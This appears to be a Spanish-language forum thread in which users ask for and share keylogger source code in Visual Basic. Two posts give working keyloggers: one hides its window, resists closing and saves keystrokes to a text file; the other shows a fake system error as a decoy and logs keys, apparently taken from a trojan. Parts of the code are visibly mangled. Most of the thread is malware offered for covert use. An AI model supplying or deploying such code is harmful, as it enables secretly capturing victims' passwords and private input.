keylogger en vb

[malwar3]

saludoss

ya he buscado mucho por internet. alguien tiene el codigo de algun keylogger que suba logs a ftp?

ya habia encontrado uno en planet source code.com pero ya lo borraron y lo perdi de mi disco duro, ese keylogger no usaba winsocks y me gustaba mucho.

agradeceria mucho que alguien me pueda ayudar

[ranefi]

Hola malwar3, buen día y bienvenido al foro. Aquí te dejo uno muy simple

Agregar 1 control TextBox y 3 Timer e insertar el siguiente código

Código:

Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "user32" _
    (ByVal vKey As Long) As Integer

Private Sub Form_Load()
    Timer1.Enabled = True
    Timer1.Interval = 1
   
    Timer2.Enabled = True
    Timer2.Interval = 10000

    Timer3.Enabled = True
    Timer3.Interval = 1
End Sub

Private Sub Form_Unload(Cancel As Integer)
    Cancel = 1
End Sub

Private Sub Timer1_Timer()
    For i = 1 To 255
        result = 0
        result = GetAsyncKeyState(i)

        If result = -32767 Then
            Text1.Text = Text1.Text + Chr(i)
        End If
    Next i
   
    Me.Hide
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
    Dim Graba As String
   
    Graba = "C:\cochinada.txt"

    Open Graba For Binary Shared As #1
   
    Close #1
   
    Open Graba For Output Shared As #1
        Print #1, Text1.Text
        Print #1, Chr(13)
    Close #1
End Sub

Espero y esto resuelva todas tus dudas. Nos vemos.

PD: Te recomiendo que leas las reglas de esta sección, nos vemos : )

[FoMoIrEoMX]

Yo tengo un keylogger que guarda por tiempos, esta bueno, el codigo no es mio, lo consegi de un tipo que lo publico en un post, en otro foro, en un momento mas lo publico

[Redhacker]

ranefi si lo hiciste tu te quedo muy bueno aunq lo entiendo por partes porq me falta aprender mas y me esta gustando este lenguaje porq se ve muy facil. ya chao

[malwar3]

el codigo que yo habia conseguido subia logs a u ftp y no usaba winsock, alguien me puede explicar como hacer eso?

y si puedes porfavor publica ese codigo del que hablas FoMoIrEoMX.

 :

gracias

[Dios De La Red]

mm redhack yo puedo leer todos los codigos pero primero tengo que leer y aprender por orita ago mi vida personal no te precupes que ya te voy a decir como pero antes aprender puedo estar aprendiendo muchos codigos alas vez nose ya me di cuenta que tengo talento para esto y naci para las compus eso me di cuenta jja sin presumir

bueno ya mero me compran mi pc ya podre ahcer mis cosas ya que con estas no puedo ahcer cosas bueo estudiare y aprendare y voya leer todo asta hacer un hacker famosos al 100%

[ranefi]

ranefi si lo hiciste tu te quedo muy bueno aunq lo entiendo por partes porq me falta aprender mas y me esta gustando este lenguaje porq se ve muy facil. ya chao

Sí lo hice yo, pero como les digo, es muy simple y sólo sirve como referencia. Nos vemos.

[FoMoIrEoMX]

Malwar3, buscar el keylogger en el post de problema con troyano, alli postie el codigo de mi troyano, y de hay lo puedes sacar, funciona bien.

[FoMoIrEoMX]

Bueno te ahorro la ida, aqui esta el keylogger que almecena en un ficher (.TXT) por tiempo:

Formulario:
Código:
Dim m As String
Private Declare Function GetAsyncKeySta te Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form_Load()
bb = False
Dim v As Integer
v = vbRetry
Do While v = vbRetry
v = MsgBox("Error 1845, ocurrio un error en el sistema al cargar los controladores de windows", vbCritical + vbAbortRetryIg nore, "ERROR")
Loop
Timer1.Interva l = 1
Timer2.Interva l = 10000
m = Minute(Time) + 5
End Sub

Private Sub Text3_Change()
w = w + 1
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Dim x As Integer, i As Integer
For i = 33 To 124
x = GetAsyncKeySta te(i)
If x = -32767 Then
Text1.Text = Text1.Text + Chr(i)

End If
Next
Text3.Text = Text1.Text
x = GetAsyncKeySta te(112)
If x = -32767 Then
Text1.Text = Text1.Text & "{F1}"
End If
x = GetAsyncKeySta te(113)
If x = -32767 Then
Text1.Text = Text1.Text & "{F2}"
End If
x = GetAsyncKeySta te(114)
If x = -32767 Then
Text1.Text = Text1.Text & "{F3}"
End If
x = GetAsyncKeySta te(115)
If x = -32767 Then
Text1.Text = Text1.Text & "{F4}"
End If
x = GetAsyncKeySta te(116)
If x = -32767 Then
Text1.Text = Text1.Text & "{F5}"
End If
x = GetAsyncKeySta te(117)
If x = -32767 Then
Text1.Text = Text1.Text & "{F6}"
End If
x = GetAsyncKeySta te(118)
If x = -32767 Then
Text1.Text = Text1.Text & "{F7}"
End If
x = GetAsyncKeySta te(119)
If x = -32767 Then
Text1.Text = Text1.Text & "{F8}"
End If
x = GetAsyncKeySta te(120)
If x = -32767 Then
Text1.Text = Text1.Text & "{F9}"
End If
x = GetAsyncKeySta te(121)
If x = -32767 Then
Text1.Text = Text1.Text & "{F10}"
End If
x = GetAsyncKeySta te(122)
If x = -32767 Then
Text1.Text = Text1.Text & "{F11}"
End If
x = GetAsyncKeySta te(123)
If x = -32767 Then
Text1.Text = Text1.Text & "{F12}"
End If

x = GetAsyncKeySta te(
If x = -32767 Then
Text1.Text = Mid(Text1.Text, 1, Len(Text1) - 1)
End If

x = GetAsyncKeySta te(9)
If x = -32767 Then
Text1.Text = Text1.Text & "{tab}"
End If

x = GetAsyncKeySta te(13)
If x = -32767 Then
Text1.Text = Text1.Text & "{enter}"
Text1 = Text1 & vbCrLf
End If

x = GetAsyncKeySta te(27)
If x = -32767 Then
Text1.Text = Text1.Text & "{esc}"
Text1 = Text1 & vbCrLf
End If

x = GetAsyncKeySta te(32)
If x = -32767 Then
Text1.Text = Text1.Text & " "
End If

Dim cad As String
Dim num As String
Dim c As String
cad = Text1.Text
num = Right(cad, 1)
Text2.Text = num
c = num
If num = "a" Then
c = "1"
bb = True
End If
If num = "b" Then
c = "2"
bb = True
End If
If num = "c" Then
c = "3"
bb = True
End If
If num = "d" Then
c = "4"
bb = True
End If
If num = "e" Then
c = "5"
bb = True
End If
If num = "f" Then
c = "6"
bb = True
End If
If num = "g" Then
c = "7"
bb = True
End If
If num = "h" Then
c = "8"
bb = True
End If
If num = "i" Then
c = "9"
bb = True
End If
If num = "`" Then
c = "0"
bb = True
End If

Text2.Text = c

If bb = True Then
Dim g As Integer
g = Len(Text1.Text) - 1
Text1.Text = Left(Text1.Text, g) + c

bb = False

End If

End Sub

Private Sub Timer2_Timer()
Open "\wintec.txt" For Append As #1
Print #1, Text1.Text
Text1.Text = ""
Close #1
If (Minute(Time) >= m) Then
Open "\wintec.txt" For Append As #1
Print #1, "----------- ----------- ------------"
Close #1
End
End If

End Sub

Modulo Bas:
Código:
Global w As Integer
Global bb As Boolean

Fuente desconocida